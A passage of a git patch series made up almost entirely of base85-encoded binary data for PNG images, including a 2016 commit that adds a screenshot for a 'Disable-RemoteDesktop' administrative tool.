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 aZ&F8ucYJ$rP2g|DLC8ufN|cEi2mKE-yknaH literal 0 HcmV?d00001 From 1a195653521fa1c4b3346fb00d854ff10e373064 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Fran=C3=A7ois-Xavier=20Cat?= Date: Mon, 11 Apr 2016 17:37:19 -0400 Subject: [PATCH 097/561] Add Screenshot --- .../Disable-RemoteDesktop.png | Bin 0 -> 29622 bytes 1 file changed, 0 insertions(+), 0 deletions(-) create mode 100644 TOOL-Disable-RemoteDesktop/Disable-RemoteDesktop.png diff --git a/TOOL-Disable-RemoteDesktop/Disable-RemoteDesktop.png b/TOOL-Disable-RemoteDesktop/Disable-RemoteDesktop.png new file mode 100644 index 0000000000000000000000000000000000000000..0700eae7572ddb92f079b682c11bdaaab33d0db5 GIT binary patch literal 29622 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 